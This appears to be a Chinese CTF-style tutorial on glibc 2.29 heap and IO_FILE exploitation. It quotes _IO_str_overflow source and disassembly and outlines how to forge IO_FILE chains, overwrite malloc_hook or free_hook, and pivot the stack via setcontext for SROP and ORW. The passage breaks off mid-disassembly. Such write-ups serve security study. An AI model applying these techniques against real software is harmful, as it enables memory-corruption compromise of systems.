在libc-2.29下_IO_strfile没有了像libc-2.24下的fp->_s._allocate_buffer()这类函数操作,都被修改为了标准函数(malloc...),所以没办法直接直接像libc-2.24那样直接劫持程序流。因此不能使用以前的io_file攻击手法来劫持流程,但是我们看到在_IO_str_overflow函数中有很多函数,并且参数我们都可以控制,因此我们可以利用这一点来完成新版的io_file攻击
1
int
2
_IO_str_overflow (FILE *fp, int c)
3
{
4
int flush_only = c == EOF;
5
size_t pos;
6
if (fp->_flags & _IO_NO_WRITES)
7
return flush_only ? 0 : EOF;
8
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags &
9
_IO_CURRENTLY_PUTTING))
10
{
11
fp->_flags |= _IO_CURRENTLY_PUTTING;
12
fp->_IO_write_ptr = fp->_IO_read_ptr;
13
fp->_IO_read_ptr = fp->_IO_read_end;
14
}
15
pos = fp->_IO_write_ptr - fp->_IO_write_base;
16
if (pos >= (size_t) (_IO_blen (fp) + flush_only))
17
18
{
19
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
20
return EOF;
21
else
22
{
23
char *new_buf;
24
char *old_buf = fp->_IO_buf_base;
25
size_t old_blen = _IO_blen (fp);
26
size_t new_size = 2 * old_blen + 100;
27
if (new_size < old_blen)
28
return EOF;
29
new_buf = malloc (new_size);
30
if (new_buf == NULL)
31
{
32
/* __ferror(fp) = 1; */
33
return EOF;
34
}
35
if (old_buf)
36
{
37
memcpy (new_buf, old_buf, old_blen);
38
free (old_buf);
39
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
40
fp->_IO_buf_base = NULL;
41
}
42
memset (new_buf + old_blen, '\0', new_size - old_blen);
43
_IO_setb (fp, new_buf, new_buf + new_size, 1);
44
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
45
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
46
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
47
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
48
fp->_IO_write_base = new_buf;
49
fp->_IO_write_end = fp->_IO_buf_end;
50
}
51
}
52
if (!flush_only)
53
*fp->_IO_write_ptr++ = (unsigned char) c;
54
if (fp->_IO_write_ptr > fp->_IO_read_end)
55
fp->_IO_read_end = fp->_IO_write_ptr;
56
return c;
57
}
Copied!
_IO_str_overflow对应的汇编代码:
1
.text:00007FFFF7E73AEB mov rdx, [rdi+28h]
2
.text:00007FFFF7E73AEF
3
.text:00007FFFF7E73AEF loc_7FFFF7E73AEF: ; CODE XREF: _IO_str_overflow+175↓j
4
.text:00007FFFF7E73AEF mov r12, [rdi+38h]
5
.text:00007FFFF7E73AF3 mov r15, [rdi+40h]
6
.text:00007FFFF7E73AF7 xor eax, eax
7
.text:00007FFFF7E73AF9 mov ebp, esi
8
.text:00007FFFF7E73AFB mov rbx, rdi
9
.text:00007FFFF7E73AFE sub r15, r12
10
.text:00007FFFF7E73B01 cmp esi, 0FFFFFFFFh
11
.text:00007FFFF7E73B04 mov rsi, rdx
12
.text:00007FFFF7E73B07 setz al
13
.text:00007FFFF7E73B0A sub rsi, [rdi+20h]
14
.text:00007FFFF7E73B0E add rax, r15
15
.text:00007FFFF7E73B11 cmp rax, rsi
16
.text:00007FFFF7E73B14 ja loc_7FFFF7E73BF0
17
.text:00007FFFF7E73B1A and ecx, 1
18
.text:00007FFFF7E73B1D jnz loc_7FFFF7E73C50
19
.text:00007FFFF7E73B23 lea r14, [r15+r15+64h]
20
.text:00007FFFF7E73B28 cmp r15, r14
21
.text:00007FFFF7E73B2B ja loc_7FFFF7E73C50
22
.text:00007FFFF7E73B31 mov rdi, r14
23
.text:00007FFFF7E73B34 call j_malloc
Copied!
可看到调用malloc之前rdx可控制为[rdi+28h]
攻击方式:
  • 劫持IO_list_all指向我们伪造的io_file
  • 劫持malloc_hook为setcontext+61
  • io_str_overflow里面会调用malloc,调用malloc之前rdx=rdi+0x28 rdi=&fake_IO_FILE ,此时rdi可控,执行srop
还一种情况是不能分配到理想大小的tcache,无法通过常规方式劫持free或malloc_hook项。(参见TCTF2020 duet)
在执行FSOP前布置好一条tcache bin:chunk A-> ptr 构造好三个IO_FILE: X.chain -> Y.chain -> Z.chain
调用malloc前rdx=rdi+0x28 rdi=&fake_IO_FILE ,此时rdi可控。
这样就可以利用FSOP在_IO_flush_all_lockp时三次进入_IO_str_overflow;第一次控制malloc参数将chunk A分配出来;第二次的时候调用malloc就会分配到ptr,而后memcpy(参见_IO_str_overflow C源码),即可进行任意地址写(通常将_malloc_hook写成setcontext+61,用于第三次刷新IO用);第三次调用malloc,即可setcontext实现orw。

2.利用_free_hook控制程序流程

  • 方法 I :
然而在我们控了free_hook以后,我们发现libc-2.29中没有可以利用rdi控制rsp进行迁栈的gadget,所以使用了其它方法。IO_wfile_sync函数可以利用rdi控制rdx,函数setcontext+0x35处可以用rdx控rsp,两个搭配使用就可以进行迁栈。在IO_wfile_sync+0x6d处有call [r12+0x20],这里的r12也是可以用rdi控制的,所以可以利用这条指令调用setcontext+0x35,实现free_hook -> IO_wfile_sync -> setcontext+0x35
1
.text:0000000000089460 _IO_wfile_sync proc near ; DATA XREF: LOAD:0000000000010230↑o
2
.text:0000000000089460 ; __libc_IO_vtables:00000000001E5F00↓o ...
3
.text:0000000000089460
4
.text:0000000000089460 var_20 = qword ptr -20h
5
.text:0000000000089460
6
.text:0000000000089460 ; __unwind {
7
.text:0000000000089460 push r12
8
.text:0000000000089462 push rbp
9
.text:0000000000089463 push rbx
10
.text:0000000000089464 mov rbx, rdi
11
.text:0000000000089467 sub rsp, 10h
12
.text:000000000008946B mov rax, [rdi+0A0h]
13
.text:0000000000089472 mov rdx, [rax+20h]
14
.text:0000000000089476 mov rsi, [rax+18h]
15
.text:000000000008947A cmp rdx, rsi
16
.text:000000000008947D jbe short loc_894AD
17
.text:000000000008947F mov eax, [rdi+0C0h]
18
.text: